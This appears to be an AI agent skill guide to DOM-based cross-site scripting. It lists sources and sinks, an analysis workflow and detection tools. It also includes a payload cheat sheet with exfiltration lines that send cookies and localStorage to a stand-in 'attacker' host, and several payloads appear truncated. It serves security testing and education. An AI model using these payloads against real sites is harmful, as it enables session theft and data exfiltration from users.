DOM XSS Analysis
A skill for identifying and exploiting DOM-based Cross-Site Scripting vulnerabilities in web applications.
What is DOM XSS?
DOM vulnerabilities occur when data from attacker-controlled sources flows unsafely to sinks without proper validation or sanitization. This enables script execution in the victim's browser context.
- Sources: Inputs attackers can manipulate (URLs, cookies, web messages, localStorage)
- Sinks: Dangerous endpoints that execute or render content (eval(), innerHTML, location.href)
Quick Reference: Common Sources
// URL-based sources
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
location.search
location.hash
location.href
// Storage sources
document.cookie
localStorage
sessionStorage
window.name
// Navigation sources
document.referrer
history.pushState
history.replaceState
// Other sources
IndexedDB
Database
postMessage()
Quick Reference: Common Sinks
JavaScript Execution Sinks
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
DOM Manipulation Sinks
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML()
someDOMElement.setAttribute()
someDOMElement.textContent
someDOMElement.innerText
scriptElement.src
scriptElement.text
Navigation Sinks (Open Redirect)
location
location.href
location.assign()
location.replace()
location.search
open()
domElem.srcdoc
jQuery Sinks
$.html()
$.append()
$.prepend()
$.after()
$.before()
$.insertAfter()
$.insertBefore()
$.wrap()
$.wrapInner()
$.wrapAll()
$.replaceWith()
$.replaceAll()
$.parseHTML()
Analysis Workflow
Step 1: Identify Sources
Look for code that reads from attacker-controllable sources:
// Check URL parameters
const param = new URLSearchParams(window.location.search).get('id');
// Check cookies
const cookie = document.cookie;
// Check localStorage
const data = localStorage.getItem('userInput');
// Check window.name
const name = window.name;
Step 2: Trace Data Flow
Follow how source data moves through the application:
- Find where source data is read
- Track variable assignments and transformations
- Identify where the data reaches a sink
- Check if sanitization occurs between source and sink
Step 3: Identify Sinks
Search for dangerous sink functions:
// Use grep or IDE search for:
eval(
innerHTML =
outerHTML =
location.href =
location.assign(
location.replace(
setTimeout(
setInterval(
document.write(
Step 4: Test for Vulnerabilities
Once you identify a potential source-to-sink flow, test with payloads:
// Basic XSS test
<script>alert(1)</script>
// For innerHTML (script tags may be blocked)
<img src=x
<svg
// For URL sinks
javascript:alert(1)
// For eval/Function sinks
alert(1)//
Common Attack Patterns
Open Redirect
Vulnerability: Attacker-controlled data written to navigation sinks
Sinks: location, location.href, location.assign(), location.replace()
Exploitation:
// If you control the start of the URL:
location.href = userInput; // userInput = "javascript:alert(1)"
// Or redirect to attacker site:
location.href = userInput; // userInput = "https://evil.com"
Cookie Manipulation
Vulnerability: Attacker-controlled data written to document.cookie
Impact: Session fixation, unexpected behavior
Exploitation:
document.cookie = userInput; // userInput = "session=attacker-controlled"
JavaScript Injection
Vulnerability: Attacker-controlled data executed as JavaScript
Sinks: eval(), Function(), setTimeout(), setInterval()
Exploitation:
eval(userInput); // userInput = "alert(document.cookie)"
setTimeout(userInput, 1000); // userInput = "alert(1)"
Document Domain Manipulation
Vulnerability: Attacker controls document.domain
Impact: Bypass same-origin policy between related domains
Exploitation:
document.domain = userInput; // userInput = "evil.com" (if related)
WebSocket URL Poisoning
Vulnerability: Attacker controls WebSocket target URL
Exploitation:
const ws = new WebSocket(userInput); // userInput = "wss://evil.com/"
Link Manipulation
Vulnerability: Attacker controls navigation targets
Sinks: element.href, element.src, form.action
Exploitation:
link.href = userInput; // userInput = "javascript:alert(1)"
img.src = userInput; // userInput = "javascript:alert(1)"
DOM Data Manipulation
Vulnerability: Attacker controls DOM fields used in UI
Sinks: innerHTML, outerHTML, setAttribute(), textContent
Exploitation:
element.innerHTML = userInput; // userInput = "<img src=x
Advanced Techniques
Window.name Abuse
window.name persists across cross-origin navigations and can be abused:
<!-- Pre-seed window.name with payload -->
<iframe name="<img src=x
src="https://target/page"></iframe>
If the target app does element.innerHTML = name without sanitization, the payload executes.
Template Literal Gaps
Apps that sanitize some fields but not others in template literals:
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> // UNSANITIZED - vulnerable!
`;
Payload: <img src=x>
Partial Sanitization Bypass
Some sanitizers only block <script> tags but allow event handlers:
// If only script tags are removed:
<img src=x // Still works!
<svg // Still works!
<body // Still works!
Tools for Detection
Static Analysis
- eslint-plugin-no-unsanitized: https://github.com/mozilla/eslint-plugin-no-unsanitized
- Detects unsanitized data flow to dangerous sinks
- Run:
npx eslint --plugin no-unsanitized --rule 'no-unsanitized/no-unsanitized: error' file.js
Dynamic Analysis
- DOMLogger++: https://github.com/kevin-mizu/domloggerpp
- Browser extension that logs all data reaching potential sinks
- Shows source-to-sink data flow in real-time
Manual Testing Checklist
- Identify all user-controllable inputs (URL params, cookies, localStorage)
- Search for dangerous sink functions in JavaScript
- Trace data flow from sources to sinks
- Check for sanitization between source and sink
- Test with XSS payloads appropriate for each sink type
- Check for window.name abuse opportunities
- Look for partial sanitization gaps
- Test stored XSS scenarios (data saved and later rendered)
Payload Cheat Sheet
For innerHTML/outerHTML
<img src=x
<svg
<body
<input autofocus>
<marquee
<video><source
For URL Sinks
javascript:alert(1)
javascript:fetch('https://attacker/?c='+document.cookie)
For eval/Function
alert(1)//
fetch('https://attacker/?c='+document.cookie)//
For Cookie Exfiltration
fetch('https://attacker/?c='+encodeURIComponent(document.cookie))
fetch('https://attacker/?c='+btoa(document.cookie))
For localStorage Exfiltration
fetch('https://attacker/?d='+btoa(localStorage.getItem('flag')))
fetch('https://attacker/?d='+encodeURIComponent(localStorage.getItem('flag')))
References
When to Use This Skill
Use this skill when:
- Testing web applications for XSS vulnerabilities
- Analyzing JavaScript code for security issues
- Understanding DOM-based attack vectors
- Needing to identify sources and sinks in code
- Looking for exploitation techniques for DOM XSS
- Reviewing code for unsafe data flow patterns
- Preparing payloads for specific sink types
- Investigating stored XSS scenarios
- Checking for window.name or localStorage abuse
- Auditing applications for partial sanitization gaps